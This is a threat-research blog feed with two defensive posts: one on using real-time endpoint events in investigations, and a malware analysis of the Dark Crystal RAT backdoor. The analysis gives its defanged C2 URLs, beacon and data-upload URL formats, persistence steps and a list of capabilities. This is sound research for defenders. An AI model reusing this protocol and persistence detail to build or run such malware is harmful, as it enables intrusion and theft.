FireEye Threat Research

Threat Research Technical review and analysis of malware and TTPs from FireEye engagements.

  • Using Real-Time Events in Investigations
    by Daniel Pany on May 14, 2020 at 3:00 pm

    To understand what a threat actor did on a Windows system, analysts often turn to the tried and true sources of historical endpoint artifacts such as the Master File Table (MFT), registry hives, and Application Compatibility Cache (AppCompat). However, these evidence sources were not designed with detection or incident response in mind; crucial details may be omitted or cleared through anti-forensic methods. By looking at historical evidence alone, an analyst may not see the full story. Real-time events can be thought of as forensic artifacts specifically designed for detection and incident response, implemented through Enterprise Detection and Response (EDR) solutions or enhanced logging implementations like Sysmon. During active-attacker endpoint investigations, FireEye Mandiant has found real-time events to be useful in filling in the gaps of what an attacker did. These events record different types of system activities such as process execution, file write activity, network connections, and more. During incident response engagements, Mandiant uses FireEye Endpoint Security to track endpoint system events in real-time. This feature allows investigators to track an attacker on any system by alerting on and reviewing these real-time events. An analyst can use our solution’s built-in Audit Viewer or Redline to review real-time events. Let’s look at some examples of Windows real-time events available on our solution and how they can be leveraged during an investigation. Let’s assume the account TEST-DOMAIN\BackupAdmin was an inactive Administrator account compromised by an attacker. Please note the examples provided in this post are based on real-time events observed during engagements but have been recreated or altered to preserve client confidentiality. Process Execution Events There are many historical process execution artifacts including AppCompat, AmCache, WMI CCM_RecentlyUsedApps, and more. A single artifact rarely covers all the useful details relating to a process’s execution, but real-time process execution events change that. Our solution’s real-time process execution events record execution time, full process path, process identification number (PID), parent process path, parent PID, user, command line arguments, and even the process MD5 hash. Table 1 provides an example of a real-time process execution event recorded by our solution. Field Example Timestamp (UTC) 2020-03-10 16:40:58.235 Sequence Number 2879512 PID 9392 Process Path C:\Windows\Temp\legitservice.exe Username TEST-DOMAIN\BackupAdmin Parent PID 9103 Parent Process Path C:\Windows\System32\cmd.exe EventType Start ProcessCmdLine “C:\Windows\Temp\legitservice.exe”  -b -m Process MD5 Hash a823bc31395539816e8e4664e884550f Table 1: Example real-time process execution event Based on this real-time process execution event, the process C:\Windows\System32\cmd.exe with PID 9103 executed the file C:\Windows\Temp\legitservice.exe with PID 9392 and the MD5 hash a823bc31395539816e8e4664e884550f. This new process used the command line arguments -b -m under the user context of TEST-DOMAIN\BackupAdmin. We can compare this real-time event with what an analyst might see in other process execution artifacts. Table 2 provides an example AppCompat entry for the same executed process. Note the recorded timestamp is for the last modified time of the file, not the process start time. Field Example File Last Modified (UTC) 2020-03-07 23:48:09 File Path C:\Windows\Temp\legitservice.exe Executed Flag TRUE Table 2: Example AppCompat entry Table 3 provides an example AmCache entry. Note the last modified time of the registry key can usually be used to determine the process start time and this artifact includes the SHA1 hash of the file. Field Example Registry Key Last Modified (UTC) 2020-03-10 16:40:58 File Path C:\Windows\Temp\legitservice.exe File Sha1 Hash 2b2e04ab822ef34969b7d04642bae47385be425c Table 3: Example AmCache entry Table 4 provides an example Windows Event Log process creation event. Note this artifact includes the PID in hexadecimal notation, details about the parent process, and even a field for where the process command line arguments should be. In this example the command line arguments are not present because they are disabled by default and Mandiant rarely sees this policy enabled by clients on investigations. Field Example Write Time (UTC) 2020-03-10 16:40:58 Log Security Source Microsoft Windows security EID 4688 Message A new process has been created. Creator Subject:       Security ID:             TEST-DOMAIN\BackupAdmin       Account Name:            BackupAdmin       Account Domain:          TEST-DOMAIN       Logon ID:                0x6D6AD Target Subject:       Security ID:             NULL SID       Account Name:            –       Account Domain:          –       Logon ID:                0x0 Process Information:       New Process ID:          0x24b0       New Process Name:        C:\Windows\Temp\legitservice.exe       Token Elevation Type:    %%1938       Mandatory Label:         Mandatory Label\Medium Mandatory Level       Creator Process ID:      0x238f       Creator Process Name:    C:\Windows\System32\cmd.exe       Process Command Line:     Table 4: Example Windows event log process creation event If we combine the evidence available in AmCache with a fully detailed Windows Event Log process creation event, we could match the evidence available in the real-time event except for a small difference in file hash types. File Write Events An attacker may choose to modify or delete important evidence. If an attacker uses a file shredding tool like Sysinternal’s SDelete, it is unlikely the analyst will recover the original contents of the file. Our solution’s real-time file write events are incredibly useful in situations like this because they record the MD5 hash of the files written and partial contents of the file. File write events also record which process created or modified the file in question. Table 5 provides an example of a real-time file write event recorded by our solution. Field Example Timestamp (UTC) 2020-03-10 16:42:59.956 Sequence Number 2884312 PID 9392 Process Path C:\Windows\Temp\legitservice.exe Username TEST-DOMAIN\BackupAdmin Device Path \Device\HarddiskVolume2 File Path C:\Windows\Temp\WindowsServiceNT.log File MD5 Hash 30a82a8a864b6407baf9955822ded8f9 Num Bytes Seen Written 8 Size 658 Writes 4 Event reason File closed Closed TRUE Base64 Encoded Data At Lowest Offset Q3JlYXRpbmcgJ1dpbmRvd3NTZXJ2aWNlTlQubG9nJy Bsb2dmaWxlIDogT0sNCm1pbWlrYXR6KGNvbW1hbmQ Text At Lowest Offset Creating ‘WindowsServiceNT.log’ logfile : OK….mimikatz(command Table 5: Example real-time file write event Based on this real-time file write event, the malicious executable C:\Windows\Temp\legitservice.exe wrote the file C:\Windows\Temp\WindowsServiceNT.log to disk with the MD5 hash 30a82a8a864b6407baf9955822ded8f9. Since the real-time event recorded the beginning of the written file, we can determine the file likely contained Mimikatz credential harvester output which Mandiant has observed commonly starts with OK….mimikatz. If we investigate a little later, we’ll see a process creation event for C:\Windows\Temp\taskassist.exe with the MD5 file hash 2b5cb081721b8ba454713119be062491 followed by several file write events for this process summarized in Table 6. Timestamp File Path File Size 2020-03-10 16:53:42.351 C:\Windows\Temp\WindowsServiceNT.log 638 2020-03-10 16:53:42.351 C:\Windows\Temp\AAAAAAAAAAAAAAAA.AAA 638 2020-03-10 16:53:42.351 C:\Windows\Temp\BBBBBBBBBBBBBBBB.BBB 638 2020-03-10 16:53:42.351 C:\Windows\Temp\CCCCCCCCCCCCCCCC.CCC 638   …   2020-03-10 16:53:42.382 C:\Windows\Temp\XXXXXXXXXXXXXXXX.XXX 638 2020-03-10 16:53:42.382 C:\Windows\Temp\YYYYYYYYYYYYYYYY.YYY 638 2020-03-10 16:53:42.382 C:\Windows\Temp\ZZZZZZZZZZZZZZZZ.ZZZ 638 Table 6: Example timeline of SDelete File write events Admittedly, this activity may seem strange at a first glance. If we do some research on the its file hash, we’ll see the process is actually SDelete masquerading as C:\Windows\Temp\taskassist.exe. As part of its secure deletion process, SDelete renames the file 26 times in a successive alphabetic manner. Network Events Incident responders rarely see evidence of network communication from historical evidence on an endpoint without enhanced logging. Usually, Mandiant relies on NetFlow data, network sensors with full or partial packet capture, or malware analysis to determine the command and control (C2) servers with which a malware sample can communicate. Our solution’s real-time network events record both local and remote network ports, the leveraged protocol, and the relevant process. Table 7 provides an example of a real-time IPv4 network event recorded by our solution. Field Example Timestamp (UTC) 2020-03-10 16:46:51.690 Sequence Number 2895588 PID 9392 Process + Path C:\Windows\Temp\legitservice.exe Username TEST-DOMAIN\BackupAdmin Local IP Address 10.0.0.52 Local Port 57472 Remote IP Address 10.0.0.51 Remote Port 443 Protocol TCP Table 7: Example real-time network connection event Based on this real-time IPv4 network event, the malicious executable C:\Windows\Temp\legitservice.exe made an outbound TCP connection to 10.0.0.51:443. Registry Key Events By using historical evidence to investigate relevant timeframes and commonly abused registry keys, we can identify malicious or leveraged keys. Real-time registry key events are useful for linking processes to the modified registry keys. They can also show when an attacker deletes or renames a registry key. This is useful to an analyst because the only available timestamp recorded in the registry is the last modified time of a registry key, and this timestamp is updated if a parent key is updated. Table 8 provides an example of a real-time registry key event recorded by our solution. Field Example Timestamp (UTC) 2020-03-10 16:46:56.409 Sequence Number 2898196 PID 9392 Process + Path C:\Windows\Temp\legitservice.exe Username TEST-DOMAIN\BackupAdmin Event Type 3 Path HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ LegitWindowsService\ImagePath Key Path CurrentControlSet\Services\LegitWindowsService Original Path HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\LegitWindowsService Value Name ImagePath Value Type REG_EXPAND_SZ Base64 Encoded Value QwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABsAG UAZwBpAHQAcwBlAHIAdgBpAGMAZQAuAGUAeABlAAAAAA== Text C:\Windows\Temp\legitservice.exe Table 8: Example real-time registry key event For our solution’s real-time registry events, we can map the event type to the operation performed using Table 9. Event Type Value Operation 1 PreSetValueKey 2 PreDeleteValueKey 3 PostCreateKey, PostCreateKeyEx, PreCreateKeyEx 4 PreDeleteKey 5 PreRenameKey Table 9: FireEye Endpoint Security real-time registry key event types Based on this real-time registry key event, the malicious executable C:\Windows\Temp\legitservice.exe created the Windows service LegitWindowsService. If we investigated the surrounding registry keys, we might identify even more information about this malicious service. Conclusion The availability of real-time events designed for forensic analysis can fill in gaps that traditional forensic artifacts cannot on their own. Mandiant has seen great value in using real-time events during active-attacker investigations. We have used real-time events to determine the functionality of attacker utilities that were no longer present on disk, to determine users and source network addresses used during malicious remote desktop activity when expected corresponding event logs were missing, and more. Check out our FireEye Endpoint Security page and Redline page for more information (as well as Redline on the FireEye Market), and take a FireEye Endpoint Security tour today.

  • Analyzing Dark Crystal RAT, a C# backdoor
    by Jacob Thompson on May 12, 2020 at 2:30 pm

    The FireEye Mandiant Threat Intelligence Team helps protect our customers by tracking cyber attackers and the malware they use. The FLARE Team helps augment our threat intelligence by reverse engineering malware samples. Recently, FLARE worked on a new C# variant of Dark Crystal RAT (DCRat) that the threat intel team passed to us. We reviewed open source intelligence and prior work, performed sandbox testing, and reverse engineered the Dark Crystal RAT to review its capabilities and communication protocol. Through publishing this blog post we aim to help defenders look for indicators of compromise and other telltale signs of Dark Crystal RAT, and to assist fellow malware researchers new to .NET malware, or who encounter future variants of this sample. Discovering Dark Crystal RAT The threat intel team provided FLARE with an EXE sample, believed to contain Dark Crystal RAT, and having the MD5 hash b478d340a787b85e086cc951d0696cb1. Using sandbox testing, we found that this sample produced two executables, and in turn, one of those two executables produced three more. Figure 1 shows the relationships between the malicious executables discovered via sandbox testing. Figure 1: The first sample we began analyzing ultimately produced five executables. Armed with the sandbox results, our next step was to perform a triage analysis on each executable. We found that the original sample and mnb.exe were droppers, that dal.exe was a clean-up utility to delete the dropped files, and that daaca.exe and fsdffc.exe were variants of Plurox, a family with existing reporting. Then we moved to analyzing the final dropped sample, which was dfsds.exe. We found brief public reporting by @James_inthe_box on the same sample, identifying it as DCRat and as a RAT and credential stealer. We also found a public sandbox run that included the same sample. Other public reporting described DCRat, but actually analyzed the daaca.exe Plurox component bundled along with DCRat in the initial sample. Satisfied that dfsds.exe was a RAT lacking detailed public reporting, we decided to perform a deeper analysis. Analyzing Dark Crystal RAT Initial Analysis Shifting aside from our sandbox for a moment, we performed static analysis on dfsds.exe. We chose to begin static analysis using CFF Explorer, a good tool for opening a PE file and breaking down its sections into a form that is easy to view. Having viewed dfsds.exe in CFF Explorer, as shown in Figure 2, the utility showed us that it is a .NET executable. This meant we could take a much different path to analyzing it than we would on a native C or C++ sample. Techniques we might have otherwise used to start narrowing down a native sample’s functionality, such as looking at what DLLs it imports and what functions from those DLLs that it uses, yielded no useful results for this .NET sample. As shown in Figure 3, dfsds.exe imports only the function _CorExeMain from mscoree.dll. We could have opened dfsds.exe in IDA Pro, but IDA Pro is usually not the most effective way of analyzing .NET samples; in fact, the free version of IDA Pro cannot handle .NET Common Language Infrastructure (CLI) intermediate code. Figure 2: CFF Explorer shows that dfsds.exe is a .NET executable. Figure 3: The import table for dfsds.exe is not useful as it contains only one function. Instead of using a disassembler like IDA Pro on dfsds.exe, we used a .NET decompiler. Luckily for the reverse engineer, decompilers operate at a higher level and often produce a close approximation of the original C# code. dnSpy is a great .NET decompiler. dnSpy’s interface displays a hierarchy of the sample’s namespaces and classes in the Assembly Explorer and shows code for the selected class on the right. Upon opening dfsds.exe, dnSpy told us that the sample’s original name at link time was DCRatBuild.exe, and that its entry point is at <PrivateImplementationDetails>{63E52738-38EE-4EC2-999E-1DC99F74E08C}.Main, shown in Figure 4. When we browsed to the Main method using the Assembly Explorer, we found C#-like code representing that method in Figure 5. Wherever dnSpy displays a call to another method in the code, it is possible to click on the target method name to go to it and view its code. By right-clicking on an identifier in the code, and clicking Analyze in the context menu, we caused dnSpy to look for all occurrences where the identifier is used, similar to using cross-references in IDA Pro. Figure 4: dnSpy can help us locate the sample’s entry point Figure 5: dnSpy decompiles the Main method into C#-like code We went to the SchemaServerManager.Main method that is called from the entry point method, and observed that it makes many calls to ExporterServerManager.InstantiateIndexer with different integer arguments, as shown in Figure 6. We browsed to the ExporterServerManager.InstantiateIndexer method, and found that it is structured as a giant switch statement with many goto statements and labels; Figure 7 shows an excerpt. This does not look like typical dnSpy output, as dnSpy often reconstructs a close approximation of the original C# code, albeit with the loss of comments and local variable names. This code structure, combined with the fact that the code refers to the CipherMode.CBC constant, led us to believe that ExporterServerManager.InstantiateIndexer may be a decryption or deobfuscation routine. Therefore, dfsds.exe is likely obfuscated. Luckily, .NET developers often use obfuscation tools that are somewhat reversible through automated means. Figure 6: SchemaServerManager.Main makes many calls to ExporterServerManager.InstantiateIndexer Figure 7: ExporterServerManager.InstantiateIndexer looks like it may be a deobfuscation routine Deobfuscation De4dot is a .NET deobfuscator that knows how to undo many types of obfuscations. Running de4dot -d (for detect) on dfsds.exe (Figure 8) informed us that .NET Reactor was used to obfuscate it. > de4dot -d dfsds.exe de4dot v3.1.41592.3405 Copyright (C) 2011-2015 [email protected] Latest version and source code: https://github.com/0xd4d/de4dot Detected .NET Reactor (C:\…\dfsds.exe) Figure 8: dfsds.exe is obfuscated with .NET Reactor After confirming that de4dot can deobfuscate dfsds.exe, we ran it again to deobfuscate the sample into the file dfsds_deob.exe (Figure 9). > de4dot -f dfsds.exe -o dfsds_deob.exe de4dot v3.1.41592.3405 Copyright (C) 2011-2015 [email protected] Latest version and source code: https://github.com/0xd4d/de4dot Detected .NET Reactor (C:\Users\user\Desktop\intelfirst\dfsds.exe) Cleaning C:\Users\user\Desktop\intelfirst\dfsds.exe Renaming all obfuscated symbols Saving C:\Users\user\Desktop\intelfirst\dfsds_deob.exe Figure 9: de4dot successfully deobfuscates dfsds.exe After deobfuscating dfsds.exe, we ran dnSpy again on the resulting dfsds_deob.exe. When we decompiled SchemaServerManager.Main again, the results were much different, as shown in Figure 10. Contrasting the new output with the obfuscated version shown previously in Figure 6, we found the deobfuscated code much more readable. In the deobfuscated version, all the calls to ExporterServerManager.InstantiateIndexer were removed; as suspected, it was apparently a string decoding routine. In contrast, the class names shown in the Assembly Explorer did not change; the obfuscator must have irrecoverably replaced the original class names with meaningless ones obtained from a standard list. Next, we noted that ten lines in Figure 10 hold base64-encoded data. Once the sample was successfully deobfuscated, it was time to move on to extracting its configuration and to follow the sample’s code path to its persistence capabilities and initial beacon. Figure 10: Deobfuscating dfsds.exe shows that the method begins with some path manipulation and then accesses Base64-encoded data Configuration, Persistence and Initial Beacon Recall that in Figure 10 we found that the method SchemaServerManager.Main has a local variable containing Base64-encoded data; decoding that data revealed what it contains. Figure 11 shows the decoded configuration (with C2 endpoint URLs de-fanged): > echo TUhvc3Q6aHR0cDovL2RvbWFsby5vbmxpbmUva3NlemJseGx2b3Uza2NtYnE4bDdoZjNmNGN5NXhnZW 80dWRsYTkxZHVldTNxYTU0LzQ2a3FianZ5a2x1bnAxejU2dHh6a2hlbjdnamNpM2N5eDhnZ2twdHgy NWk3NG1vNm15cXB4OWtsdnYzL2FrY2lpMjM5bXl6b24weHdqbHhxbm4zYjM0dyxCSG9zdDpodHRwOi 8vZG9tYWxvLm9ubGluZS9rc2V6Ymx4bHZvdTNrY21icThsN2hmM2Y0Y3k1eGdlbzR1ZGxhOTFkdWV1 M3FhNTQvNDZrcWJqdnlrbHVucDF6NTZ0eHpraGVuN2dqY2kzY3l4OGdna3B0eDI1aTc0bW82bXlxcH g5a2x2djMvYWtjaWkyMzlteXpvbjB4d2pseHFubjNiMzR3LE1YOkRDUl9NVVRFWC13TGNzOG8xTlZF VXRYeEo5bjl5ZixUQUc6VU5ERUY= | base64 -d MHost:hxxp://domalo[.]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54/ 46kqbjvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3/akcii239myzon0xwjl xqnn3b34w,BHost:hxxp://domalo[.]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91 dueu3qa54/46kqbjvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3/akcii239 myzon0xwjlxqnn3b34w,MX:DCR_MUTEX-wLcs8o1NVEUtXxJ9n9yf,TAG:UNDEF Figure 11: Decoding the base64 data in SchemaServerManager.Main reveals a configuration string Figure 11 shows that the data decoded to a configuration string containing four values: MHost, BHost, MX, and TAG. We analyzed the code that parses this string and found that MHost and BHost were used as its main and backup command and control (C2) endpoints. Observe that the MHost and BHost values in Figure 11 are identical, so this sample did not have a backup C2 endpoint. In dnSpy it is possible to give classes and methods meaningful names just as it is possible to name identifiers in IDA Pro. For example, the method SchemaServerManager.StopCustomer picks the name of a random running process. By right-clicking the StopCustomer identifier and choosing Edit Method, it is possible to change the method name to PickRandomProcessName, as shown in Figure 12. Figure 12: Assigning meaningful names to methods makes it easier to keep analyzing the program Continuing to analyze the SchemaServerManager.Main method revealed that the sample persists across reboots. The persistence algorithm can be summarized as follows: The malware picks the name of a random running process, and then copies itself to %APPDATA% and C:\. For example, if svchost.exe is selected, then the malware copies itself to %APPDATA%\svchost.exe and C:\svchost.exe. The malware creates a shortcut %APPDATA%\dotNET.lnk pointing to the copy of the malware under %APPDATA%. The malware creates a shortcut named dotNET.lnk in the logged-on user’s Startup folder pointing to %APPDATA%\dotNET.lnk. The malware creates a shortcut C:\Sysdll32.lnk pointing to the copy of the malware under C:\. The malware creates a shortcut named Sysdll32.lnk in the logged-on user’s Startup folder pointing to C:\Sysdll32.lnk. The malware creates the registry value HKCU\Software\Microsoft\Windows\CurrentVersion\Run\scrss pointing to %APPDATA%\dotNET.lnk. The malware creates the registry value HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Wininit pointing to C:\Sysdll32.lnk. After its persistence steps, the malware checks for multiple instances of the malware: The malware sleeps for a random interval between 5 and 7 seconds. The malware takes the MD5 hash of the still-base64-encoded configuration string, and creates the mutex whose name is the hexadecimal representation of that hash. For this sample, the malware creates the mutex bc2dc004028c4f0303f5e49984983352. If this fails because another instance is running, the malware exits. The malware then beacons, which also allows it to determine whether to use the main host (MHost) or backup host (BHost). To do so, the malware constructs a beacon URL based on the MHost URL, makes a request to the beacon URL, and then checks to see if the server responds with the HTTP response body “ok.” If the server does not send this response, then the malware unconditionally uses the BHost; this code is shown in Figure 13. Note that since this sample has the same MHost and BHost value (from Figure 11), the malware uses the same C2 endpoint regardless of whether the check succeeds or fails. Figure 13: The malware makes an HTTP request based on the MHost URL to determine whether to use the MHost or BHost The full algorithm to obtain the beacon URL is as follows: Obtain the MHost URL, i.e., hxxp://domalo[.]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54 /46kqbjvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3/akcii239my zon0xwjlxqnn3b34w. Calculate the SHA1 hash of the full MHost URL, i.e., 56743785cf97084d3a49a8bf0956f2c744a4a3e0. Remove the last path component from the MHost URL, and then append the SHA1 hash from above, and ?data=active. The full beacon URL is therefore hxxp://domalo[.]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54 /46kqbjvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3/56743785cf 97084d3a49a8bf0956f2c744a4a3e0.php?data=active. After beaconing the malware proceeds to send and receive messages with the configured C2. Messages and Capabilities After performing static analysis of dfsds.exe to determine how it selects the C2 endpoint and confirming the C2 endpoint URL, we shifted to dynamic analysis in order to collect sample C2 traffic and make it easier to understand the code that generates and accepts C2 messages. Luckily for our analysis, the malware continues to generate requests to the C2 endpoint even if the server does not send a valid response. To listen for and intercept requests to the C2 endpoint (domalo[.]online) without allowing the malware Internet access, we used FLARE’s FakeNet-NG tool. Figure 14 shows some of the C2 requests that the malware made being captured by FakeNet-NG. Figure 14: FakeNet-NG can capture the malware’s HTTP requests to the C2 endpoint By comparing the messages generated by the malware and captured in FakeNet-NG with the malware’s decompiled code, we determined its message format and types. Observe that the last HTTP request visible in Figure 14 contains a list of running processes. By tracing through the decompiled code, we found that the method SchemaServerManager.ObserverWatcher.NewMerchant generated this message. We renamed this method to taskThread and assigned meaningful names to the other methods it calls; the resulting code for this method appears in Figure 15. Figure 15: The method that generates the list of running processes and sends it to the C2 endpoint By analyzing the code further, we identified the components of the URLs that the malware used to send data to the C2 endpoint, and how they are constructed. Beacons The first type of URL is a beacon, sent only once when the malware starts up. For this sample, the beacon URL was always hxxp://domalo[.]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54/46kqbjvyklunp1z56txzk hen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3/<hash>.php?data=active, where <hash> is the SHA1 hash of the MHost URL, as described earlier. GET requests, format 1 When the malware needs to send data to or receive data from the C2, it sends a message. The first type of message, which we denote as “format 1,” is a GET request to URLs of the form hxxp://domalo[.]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54/46kqb jvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3/akcii239myzon0xwjlxqnn 3b34w/<hash>.php? type=__ds_setdata&__ds_setdata_user=<user_hash>&__ds_setdata_ext=<message_hash>&__ds_setdata_data=<message>, where: <hash> is MD5(SHA1(MHost)), which for this sample, is 212bad81b4208a2b412dfca05f1d9fa7. <user_hash> is a unique identifier for the machine on which the malware is running. It is always calculated as SHA1(OS_version + machine_name + user_name) as provided by the .NET System.Environment class. <message_hash> identifies what kind of message the malware is sending to the C2 endpoint. The <message_hash> is calculated as MD5(<message_type> + <user_hash>), where <message_type> is a short keyword identifying the type of message, and <user_hash> is as calculated above.Values for <message_type> exist for each command that the malware supports; for possible values, see the “msgs” variable in the code sample shown in Figure 19. Observe that this makes it difficult to observe the message type visually from log traffic, or to write a static network signature for the message type, since it varies for every machine due to the inclusion of the <user_hash>. One type of message uses the value u instead of a hash for <message_hash>. <message> is the message data, which is not obscured in any way. The other type of ordinary message is a getdata message. These are GET requests to URLs of the form hxxp://domalo[.]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54/46kqb jvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3/akcii239myzon0xwjlxqnn 3b34w/<hash>.php? type=__ds_getdata&__ds_getdata_user=<user_hash>&__ds_getdata_ext=<message_hash>&__ds_getdata_key=<key>, where: <hash> and <user_hash> are calculated as described above for getdata messages. <message_hash> is also calculated as described above for getdata messages, but describes the type of message the malware is expecting to receive in the server’s response. <key> is MD5(<user_hash>). The server is expected to respond to a getdata message with an appropriate response for the type of message specified by <message_hash>. GET requests, format 2 A few types of messages from the malware to the C2 use a different format, which we denote as “format 2.” These messages are GET requests of the form hxxp://domalo[.]online /ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54/46kqbjvyklunp1z56txzkhen7gj ci3cyx8ggkptx25i74mo6myqpx9klvv3/akcii239myzon0xwjlxqnn3b34w/<user_hash>.<mes sage_hash>, where: <user_hash> is calculated as described above for getdata messages. <message_hash> is also calculated as described above for getdata messages, but describes the type of message the malware is expecting to receive in the server’s response. <message_hash> may also be the string comm. Table 1 shows possible <message_types> that may be incorporated into <message_hash> as part of format 2 messages to instruct the server which type of response is desired. In contrast to format 1 messages, format 2 messages are only used for a handful of <message_type> values. <message_type> Response desired s_comm The server sends a non-empty response if a screenshot request is pending m_comm The server sends a non-empty response if a microphone request is pending RDK The server responds directly with keystrokes to replay comm The server responds directly with other types of tasking Table 1: Message types when the malware uses a special message to request tasking from the server POST requests When the malware needs to upload large files, it makes a POST request. These POST requests are sent to hxxp://domalo[.]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54/46kqb jvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3/akcii239myzon0xwjlxqnn 3b34w/<hash>.php, with the following parameters in the POST data: name is <user_hash> + “.” + <message_type>, where <user_hash> is calculated as described above and <message_type> is the type of data being uploaded. upload is a file with the data being sent to the server. Table 2 shows possible <message_type> values along with the type of file being uploaded. <message_type> Type of File jpg Screenshot zipstealerlog Cookie stealer log wav Microphone recording file Uploaded file bmp Webcam image RD.jpg Remote control screenshot Table 2: Message types when files are uploaded to the server Capabilities By analyzing the code that handles the responses to the comm message (format 2), it was possible for us to inventory the malware’s capabilities. Table 3 shows the keywords used in responses along with the description of each capability. Keyword Description shell Execute a shell command deleteall Recursively delete all files from C:, D:, F:, and G: closecd Close the CD-ROM drive door setwallpaper Change the background wallpaper ddos Send TCP and UDP packets to a given host or IP address logoff Log off the current user keyboardrecorder Replay keystrokes as if the user had typed them fm_newfolder Create a new folder fm_rename Rename or move a file desktopHide Hide desktop icons keyloggerstart Start logging keystrokes exec_cs_code Compile and execute C# code msgbox Open a Windows MessageBox fm_upload Transfer a file from the C2 to the client rdp Re-spawn the malware running as an administrator fm_zip Build a ZIP file from a directory tree and transfer it from the client to the C2 webcam Take a webcam picture fm_unzip Unzip a ZIP file to a given path on the client keyloggerstop Stop logging keystrokes fm_drives Enumerate drive letters cookiestealer Transfer cookies and browser/FileZilla saved credentials to the C2 fm_delete Recursively delete a given directory dismon Hide desktop icons and taskbar fm_uploadu Transfer a file from the C2 to the client taskstart Start a process cleardesktop Rotate screen lcmd Run shell command and send standard output back to C2 taskbarShow Show taskbar clipboard Set clipboard contents cookiestealer_file Save cookies and credentials to a local file newuserpass Create a new local user account beep Beep for set frequency and duration speak Use speech synthesizer to speak text openchat Open chat window taskbarHide Hide the taskbar RDStart Start remote control over user’s desktop closechat Close chat window RDStop Stop remote control over user’s desktop fm_opendir List directory contents uninstall Remove the malware from the client taskkill Kill a process forkbomb Endlessly spawn instances of cmd.exe fm_get Transfer a file from the client to the C2 desktopShow Show desktop icons Clipboardget Transfer clipboard contents to C2 playaudiourl Play a sound file opencd Open the CD-ROM drive door shutdown Shut down the machine restart Restart the machine browseurl Open a web URL in the default browser Table 3: Capabilities of DCRat Proof-of-Concept Dark Crystal RAT Server After gathering information from Dark Crystal RAT about its capabilities and C2 message format, another way to illustrate the capabilities and test our understanding of the messages was to write a proof-of-concept server. Here is a code snippet that we wrote containing a barebones DCRat server written in Python. Unlike a real RAT server, this one does not have a user interface to allow the attacker to pick and launch commands. Instead, it has a pre-scripted command list that it sends to the RAT. When the server starts up, it uses the Python BaseHTTPServer to begin listening for incoming web requests (lines 166-174). Incoming POST requests are assumed to hold a file that the RAT is uploading to the server; this server assumes all file uploads are screenshots and saves them to “screen.png” (lines 140-155). For GET requests, the server must distinguish between beacons, ordinary messages, and special messages (lines 123-138). For ordinary messages, __ds_setdata messages are simply printed to standard output, while the only __ds_getdata message type supported is s_comm (screenshot communications), to which the server responds with the desired screenshot dimensions (lines 63-84). For messages of type comm, the server sends four types of commands in sequence: first, it hides the desktop icons; then, it causes the string “Hello this is tech support” to be spoken; next, it displays a message box asking for a password; finally, it launches the Windows Calculator (lines 86-121). Figure 16 shows the results when Dark Crystal RAT is run on a system that has been configured to redirect all traffic to domalo[.]online to the proof-of-concept server we wrote. Figure 16: The results when a Dark Crystal RAT instance communicates with the proof-of-concept server Other Work and Reconnaissance After reverse engineering Dark Crystal RAT, we continued reconnaissance to see what additional information we could find. One limitation to our analysis was that we did not wish to allow the sample to communicate with the real C2, so we kept it isolated from the Internet. To learn more about Dark Crystal RAT we tried two approaches: the first was to browse the Dark Crystal RAT website (files.dcrat[.]ru) using Tor, and the other was to take a look at YouTube videos of others’ experiments with the “real” Dark Crystal RAT server. Dark Crystal RAT Website We found that Dark Crystal RAT has a website at files.dcrat[.]ru, shown in Figure 17. Observe that there are options to download the RAT itself, as well as a few plugins; the DCLIB extension is consistent with the plugin loading code we found in the RAT. Figure 17: The website files.dcrat[.]ru allows users to download Dark Crystal RAT and some of its plugins Figure 18 shows some additional plugins, including plugins with the ability to resist running in a virtual machine, disable Windows Defender, and disable webcam lights on certain models. No plugins were bundled with the sample we studied. Figure 18: Additional plugins listed on the Dark Crystal RAT website Figure 19 lists software downloads on the RAT page. We took some time to look at these files; here are some interesting things we discovered: The DCRat listed on the website is actually a “builder” that packages a build of the RAT and a configuration for the attacker to deploy. This is consistent with the name DCRatBuild.exe shown back in Figure 4. In our brief testing of the builder, we found that it had a licensing check. We did not pursue bypassing it once we found public YouTube videos of the DCRat builder in operation, as we show later. The DarkCrystalServer is not self-contained, rather, it is just a PHP file that allows the user to supply a username and password, which causes it to download and install the server software. Due to the need to supply credentials and communicate back with dcrat[.]ru (Figure 20), we did not pursue further analysis of DarkCrystalServer. Figure 19: The RAT page lists software for the RAT, the server, an API, and plugin development Figure 20: The DarkCrystalServer asks for a username and password and calls back to dcrat[.]ru to download software, so we did not pursue it further YouTube Videos As part of confirming our findings about Dark Crystal RAT capabilities that we obtained through reverse engineering, we found some YouTube demonstrations of the DCRat builder and server. The YouTube user LIKAR has a YouTube demonstration of Dark Crystal RAT. The author demonstrates use of the Dark Crystal RAT software on a server with two active RAT instances. During the video, the author browses through the various screens in the software. This made it easy to envision how a cyber threat would use the RAT, and to confirm our suspicions of how it works. Figure 21 shows a capture from the video at 3:27. Note that the Dark Crystal RAT builder software refers to the DCRatBuild package as a “server” rather than a client. Nonetheless, observe that one of the options was a type of Java, or C# (Beta). By watching this YouTube video and doing some additional background research, we discovered that Dark Crystal RAT has existed for some time in a Java version. The C# version is relatively new. This explained why we could not find much detailed prior reporting about it. 